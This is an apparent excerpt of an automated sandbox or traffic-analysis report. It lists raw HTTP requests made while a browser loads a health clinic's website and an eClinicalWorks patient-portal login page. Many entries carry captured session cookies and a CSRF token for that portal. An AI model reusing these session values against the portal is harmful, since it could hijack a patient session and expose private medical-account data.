Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2023/11/NQL-HH-2023.png HTTP/1.1Host: valleyprohealth.orgConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _gid=GA1.2.1375613481.1713962665; _gat_gtag_UA_128496723_1=1; _ga=GA1.2.446872372.1713962665; _ga_9LSM884DML=GS1.1.1713962665.1.1.1713962689.0.0.0
Source: global traffic	HTTP traffic detected: GET /cache/app/wildcards.json HTTP/1.1Host: cdn.acsbapp.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://valleyprohealth.orgSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://valleyprohealth.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /portal14763/script/newLogin/common.js HTTP/1.1Host: mycw108.ecwcloud.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://mycw108.ecwcloud.com/portal14763/jsp/100mp/login_otp.jspAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: JSESSIONID=03107C4121BDB2308A48A7F9CCFAE1F2; ApplicationGatewayAffinityCORS=4d96d0433bfec6ae37d051d137d3cea7; ApplicationGatewayAffinity=4d96d0433bfec6ae37d051d137d3cea7
Source: global traffic	HTTP traffic detected: GET /portal14763/script/newLogin/index.js HTTP/1.1Host: mycw108.ecwcloud.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://mycw108.ecwcloud.com/portal14763/jsp/100mp/login_otp.jspAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: JSESSIONID=03107C4121BDB2308A48A7F9CCFAE1F2; ApplicationGatewayAffinityCORS=4d96d0433bfec6ae37d051d137d3cea7; ApplicationGatewayAffinity=4d96d0433bfec6ae37d051d137d3cea7
Source: global traffic	HTTP traffic detected: GET /portal14763/script/jquery.maskedinput-1.4.1.min.js HTTP/1.1Host: mycw108.ecwcloud.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://mycw108.ecwcloud.com/portal14763/jsp/100mp/login_otp.jspAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: JSESSIONID=03107C4121BDB2308A48A7F9CCFAE1F2; ApplicationGatewayAffinityCORS=4d96d0433bfec6ae37d051d137d3cea7; ApplicationGatewayAffinity=4d96d0433bfec6ae37d051d137d3cea7
Source: global traffic	HTTP traffic detected: GET /portal14763/script/moment.js HTTP/1.1Host: mycw108.ecwcloud.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://mycw108.ecwcloud.com/portal14763/jsp/100mp/login_otp.jspAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: JSESSIONID=03107C4121BDB2308A48A7F9CCFAE1F2; ApplicationGatewayAffinityCORS=4d96d0433bfec6ae37d051d137d3cea7; ApplicationGatewayAffinity=4d96d0433bfec6ae37d051d137d3cea7
Source: global traffic	HTTP traffic detected: GET /cache/app/wildcards.json HTTP/1.1Host: cdn.acsbapp.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9If-None-Match: "de3119f737ac997fbb853cf24e7025b5"If-Modified-Since: Fri, 19 Apr 2024 00:00:03 GMT
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2020/07/icon__service_1.svg HTTP/1.1Host: valleyprohealth.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://valleyprohealth.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _gid=GA1.2.1375613481.1713962665; _gat_gtag_UA_128496723_1=1; _ga_9LSM884DML=GS1.1.1713962665.1.1.1713962708.0.0.0; _ga=GA1.1.446872372.1713962665
Source: global traffic	HTTP traffic detected: GET /ajax/libs/underscore.js/1.8.3/underscore-min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://valleyprohealth.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /portal14763/script/moment-timezone-with-data.min.js HTTP/1.1Host: mycw108.ecwcloud.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://mycw108.ecwcloud.com/portal14763/jsp/100mp/login_otp.jspAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: JSESSIONID=03107C4121BDB2308A48A7F9CCFAE1F2; ApplicationGatewayAffinityCORS=4d96d0433bfec6ae37d051d137d3cea7; ApplicationGatewayAffinity=4d96d0433bfec6ae37d051d137d3cea7
Source: global traffic	HTTP traffic detected: GET /portal14763/script/hash2.js HTTP/1.1Host: mycw108.ecwcloud.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://mycw108.ecwcloud.com/portal14763/jsp/100mp/login_otp.jspAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: JSESSIONID=03107C4121BDB2308A48A7F9CCFAE1F2; ApplicationGatewayAffinityCORS=4d96d0433bfec6ae37d051d137d3cea7; ApplicationGatewayAffinity=4d96d0433bfec6ae37d051d137d3cea7
Source: global traffic	HTTP traffic detected: GET /portal14763/script/jstz-1.0.4.min.js HTTP/1.1Host: mycw108.ecwcloud.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://mycw108.ecwcloud.com/portal14763/jsp/100mp/login_otp.jspAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: JSESSIONID=03107C4121BDB2308A48A7F9CCFAE1F2; ApplicationGatewayAffinityCORS=4d96d0433bfec6ae37d051d137d3cea7; ApplicationGatewayAffinity=4d96d0433bfec6ae37d051d137d3cea7
Source: global traffic	HTTP traffic detected: GET /portal14763/script/newui/js/reloadCaptcha.js HTTP/1.1Host: mycw108.ecwcloud.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://mycw108.ecwcloud.com/portal14763/jsp/100mp/login_otp.jspAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: JSESSIONID=03107C4121BDB2308A48A7F9CCFAE1F2; ApplicationGatewayAffinityCORS=4d96d0433bfec6ae37d051d137d3cea7; ApplicationGatewayAffinity=4d96d0433bfec6ae37d051d137d3cea7
Source: global traffic	HTTP traffic detected: GET /portal14763/script/md5.js?q=2 HTTP/1.1Host: mycw108.ecwcloud.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://mycw108.ecwcloud.com/portal14763/jsp/100mp/login_otp.jspAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: JSESSIONID=03107C4121BDB2308A48A7F9CCFAE1F2; ApplicationGatewayAffinityCORS=4d96d0433bfec6ae37d051d137d3cea7; ApplicationGatewayAffinity=4d96d0433bfec6ae37d051d137d3cea7
Source: global traffic	HTTP traffic detected: GET /portal14763/script/newLogin/newlogin_script.js HTTP/1.1Host: mycw108.ecwcloud.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://mycw108.ecwcloud.com/portal14763/jsp/100mp/login_otp.jspAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: JSESSIONID=03107C4121BDB2308A48A7F9CCFAE1F2; ApplicationGatewayAffinityCORS=4d96d0433bfec6ae37d051d137d3cea7; ApplicationGatewayAffinity=4d96d0433bfec6ae37d051d137d3cea7
Source: global traffic	HTTP traffic detected: GET /portal14763/images/reload.jpg HTTP/1.1Host: mycw108.ecwcloud.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mycw108.ecwcloud.com/portal14763/jsp/100mp/login_otp.jspAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: JSESSIONID=03107C4121BDB2308A48A7F9CCFAE1F2; ApplicationGatewayAffinityCORS=4d96d0433bfec6ae37d051d137d3cea7; ApplicationGatewayAffinity=4d96d0433bfec6ae37d051d137d3cea7
Source: global traffic	HTTP traffic detected: GET /portal14763/images/newLogin/book-an-appointment-landing-vector.png HTTP/1.1Host: mycw108.ecwcloud.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mycw108.ecwcloud.com/portal14763/jsp/100mp/login_otp.jspAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: JSESSIONID=03107C4121BDB2308A48A7F9CCFAE1F2; ApplicationGatewayAffinityCORS=4d96d0433bfec6ae37d051d137d3cea7; ApplicationGatewayAffinity=4d96d0433bfec6ae37d051d137d3cea7
Source: global traffic	HTTP traffic detected: GET /portal14763/images/newLogin/join-televisit-vector-landing.png HTTP/1.1Host: mycw108.ecwcloud.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mycw108.ecwcloud.com/portal14763/jsp/100mp/login_otp.jspAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: JSESSIONID=03107C4121BDB2308A48A7F9CCFAE1F2; ApplicationGatewayAffinityCORS=4d96d0433bfec6ae37d051d137d3cea7; ApplicationGatewayAffinity=4d96d0433bfec6ae37d051d137d3cea7
Source: global traffic	HTTP traffic detected: GET /portal14763/images/newLogin/pay-bill-vector-landing.png HTTP/1.1Host: mycw108.ecwcloud.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mycw108.ecwcloud.com/portal14763/jsp/100mp/login_otp.jspAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: JSESSIONID=03107C4121BDB2308A48A7F9CCFAE1F2; ApplicationGatewayAffinityCORS=4d96d0433bfec6ae37d051d137d3cea7; ApplicationGatewayAffinity=4d96d0433bfec6ae37d051d137d3cea7
Source: global traffic	HTTP traffic detected: GET /recaptcha/api.js?onload=ctctOnLoadCallback&render=explicit HTTP/1.1Host: www.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://valleyprohealth.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _GRECAPTCHA=09AKPP-6cBqHyI6CxMAsgy8FuOW8qvOPUXUVkx1mhQVyYVVakiGeLeuNy0jm-Jzkcyqagtyn3kw9sO3eYO-2RcVmE
Source: global traffic	HTTP traffic detected: GET /portal14763/images/reload.jpg HTTP/1.1Host: mycw108.ecwcloud.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: JSESSIONID=03107C4121BDB2308A48A7F9CCFAE1F2; ApplicationGatewayAffinityCORS=4d96d0433bfec6ae37d051d137d3cea7; ApplicationGatewayAffinity=4d96d0433bfec6ae37d051d137d3cea7
Source: global traffic	HTTP traffic detected: GET /portal14763/jsp/100mp/openAccessWidget.jsp?_=1713962707513 HTTP/1.1Host: mycw108.ecwcloud.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Accept: /X-CSRF-TOKEN: 45d21d29-ba12-4eb1-9693-7040974e08f6X-Requested-With: XMLHttpRequestsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://mycw108.ecwcloud.com/portal14763/jsp/100mp/login_otp.jspAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: JSESSIONID=03107C4121BDB2308A48A7F9CCFAE1F2; ApplicationGatewayAffinityCORS=4d96d0433bfec6ae37d051d137d3cea7; ApplicationGatewayAffinity=4d96d0433bfec6ae37d051d137d3cea7
Source: global traffic	HTTP traffic detected: GET /portal14763/images/newLogin/stepblock-bg-landing.png HTTP/1.1Host: mycw108.ecwcloud.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mycw108.ecwcloud.com/portal14763/ss/newLogin/custom.cssAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: JSESSIONID=03107C4121BDB2308A48A7F9CCFAE1F2; ApplicationGatewayAffinityCORS=4d96d0433bfec6ae37d051d137d3cea7; ApplicationGatewayAffinity=4d96d0433bfec6ae37d051d137d3cea7
Source: global traffic	HTTP traffic detected: GET /portal14763/images/newLogin/book-an-appointment-landing-vector.png HTTP/1.1Host: mycw108.ecwcloud.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: JSESSIONID=03107C4121BDB2308A48A7F9CCFAE1F2; ApplicationGatewayAffinityCORS=4d96d0433bfec6ae37d051d137d3cea7; ApplicationGatewayAffinity=4d96d0433bfec6ae37d051d137d3cea7
Source: global traffic	HTTP traffic detected: GET /portal14763/images/newLogin/pay-bill-vector-landing.png HTTP/1.1Host: mycw108.ecwcloud.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: JSESSIONID=03107C4121BDB2308A48A7F9CCFAE1F2; ApplicationGatewayAffinityCORS=4d96d0433bfec6ae37d051d137d3cea7; ApplicationGatewayAffinity=4d96d0433bfec6ae37d051d137d3cea7
Source: global traffic	HTTP traffic detected: GET /portal14763/simpleCaptcha.png?1713962710829 HTTP/1.1Host: mycw108.ecwcloud.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mycw108.ecwcloud.com/portal14763/jsp/100mp/login_otp.jspAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: JSESSIONID=03107C4121BDB2308A48A7F9CCFAE1F2; ApplicationGatewayAffinityCORS=4d96d0433bfec6ae37d051d137d3cea7; ApplicationGatewayAffinity=4d96d0433bfec6ae37d051d137d3cea7
Source: global traffic	HTTP traffic detected: GET /portal14763/images/newLogin/join-televisit-vector-landing.png HTTP/1.1Host: mycw108.ecwcloud.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: JSESSIONID=03107C4121BDB2308A48A7F9CCFAE1F2; ApplicationGatewayAffinityCORS=4d96d0433bfec6ae37d051d137d3cea7; ApplicationGatewayAffinity=4d96d0433bfec6ae37d051d137d3cea7
Source: global traffic	HTTP traffic detected: GET /portal14763/audio.wav?1713962710829 HTTP/1.1Host: mycw108.ecwcloud.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Accept-Encoding: identity;q=1, ;q=0sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /*Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: audioReferer: https://mycw108.ecwcloud.com/portal14763/jsp/100mp/login_otp.jspAccept-Language: en-US,en;q=0.9Cookie: JSESSIONID=03107C4121BDB2308A48A7F9CCFAE1F2; ApplicationGatewayAffinityCORS=4d96d0433bfec6ae37d051d137d3cea7; ApplicationGatewayAffinity=4d96d0433bfec6ae37d051d137d3cea7Range: bytes=0-
Source: global traffic	HTTP traffic detected: GET /portal14763/jsp/100mp/captcha.jsp HTTP/1.1Host: mycw108.ecwcloud.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: JSESSIONID=03107C4121BDB2308A48A7F9CCFAE1F2; ApplicationGatewayAffinityCORS=4d96d0433bfec6ae37d051d137d3cea7; ApplicationGatewayAffinity=4d96d0433bfec6ae37d051d137d3cea7
Source: global traffic	HTTP traffic detected: GET /portal14763/jsp/100mp/openAccessWidget.jsp?_=1713962707513 HTTP/1.1Host: mycw108.ecwcloud.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: JSESSIONID=03107C4121BDB2308A48A7F9CCFAE1F2; ApplicationGatewayAffinityCORS=4d96d0433bfec6ae37d051d137d3cea7; ApplicationGatewayAffinity=4d96d0433bfec6ae37d051d137d3cea7
Source: global traffic	HTTP traffic detected: GET /portal14763/images/newLogin/stepblock-bg-landing.png HTTP/1.1Host: mycw108.ecwcloud.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: JSESSIONID=03107C4121BDB2308A48A7F9CCFAE1F2; ApplicationGatewayAffinityCORS=4d96d0433bfec6ae37d051d137d3cea7; ApplicationGatewayAffinity=4d96d0433bfec6ae37d051d137d3cea7
Source: global traffic	HTTP traffic detected: GET /portal14763/simpleCaptcha.png?1713962710829 HTTP/1.1Host: mycw108.ecwcloud.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: JSESSIONID=03107C4121BDB2308A48A7F9CCFAE1F2; ApplicationGatewayAffinityCORS=4d96d0433bfec6ae37d051d137d3cea7; ApplicationGatewayAffinity=4d96d0433bfec6ae37d051d137d3cea7
Source: global traffic	HTTP traffic detected: GET /portal14763/images/ecw-badge.png HTTP/1.1Host: mycw108.ecwcloud.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mycw108.ecwcloud.com/portal14763/jsp/100mp/login_otp.jspAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: JSESSIONID=03107C4121BDB2308A48A7F9CCFAE1F2; ApplicationGatewayAffinityCORS=4d96d0433bfec6ae37d051d137d3cea7; ApplicationGatewayAffinity=4d96d0433bfec6ae37d051d137d3cea7
Source: global traffic	HTTP traffic detected: GET /v1/118aade4e91f193939b45ed0d3280360.json HTTP/1.1Host: listgrowth.ctctcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Accept: /sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Origin: https://valleyprohealth.orgSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://valleyprohealth.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
